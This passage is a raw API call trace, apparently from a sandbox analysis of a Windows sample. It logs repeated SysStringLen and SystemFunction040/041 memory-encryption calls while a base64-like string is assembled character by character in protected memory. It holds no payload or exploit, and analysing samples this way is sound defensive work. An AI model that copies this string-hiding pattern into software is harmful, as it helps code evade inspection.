Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.101] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0122.101] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0122.101] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.101] SysStringLen (param_1="YWM1OT") returned 0x8 [0122.101] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.101] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0122.101] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0122.101] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.101] SysStringLen (param_1="YWM1OTE") returned 0x8 [0122.101] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.101] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0122.101] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0122.101] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.101] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0122.101] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.101] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0122.102] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0122.102] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0122.102] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0122.102] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.102] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0122.102] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.102] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0122.102] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0122.102] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.102] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0122.102] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.102] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0122.102] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0122.102] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.102] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0122.102] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.102] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0122.102] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0122.102] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.103] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0122.103] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.103] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0122.103] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0122.103] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.103] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0122.103] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.103] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0122.103] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0122.103] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.103] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0122.103] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.103] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0122.103] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0122.103] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.103] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0122.103] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.103] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0122.104] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0122.104] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.104] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0122.104] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.104] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0122.104] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0122.104] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0122.104] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0122.104] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.104] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0122.104] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.104] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0122.104] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0122.104] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.104] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0122.104] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.104] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0122.104] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0122.104] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.104] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0122.104] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.105] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0122.105] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0122.105] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.105] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0122.105] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.105] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0122.105] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0122.105] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.105] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0122.105] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.105] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0122.105] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0122.105] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.105] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0122.105] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.105] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0122.105] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0122.105] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.105] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0122.105] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.105] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0122.105] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0122.105] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.105] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0122.105] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.106] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0122.106] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0122.106] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0122.106] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0122.106] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.106] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0122.106] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.106] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0122.106] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0122.106] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.106] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0122.106] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.106] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0122.106] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0122.106] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.106] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0122.106] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.106] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0122.106] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0122.106] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.106] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0122.106] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.106] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0122.107] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0122.107] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.107] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0122.107] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.107] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0122.107] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0122.107] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.107] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0122.107] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.107] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0122.107] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0122.107] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.107] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0122.107] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.107] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0122.107] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0122.107] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.107] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0122.107] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.107] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0122.107] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0122.107] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0122.107] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0122.107] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.108] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0122.108] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.108] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0122.108] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0122.108] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.108] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0122.108] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.108] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0122.108] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0122.108] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.108] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0122.108] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.108] 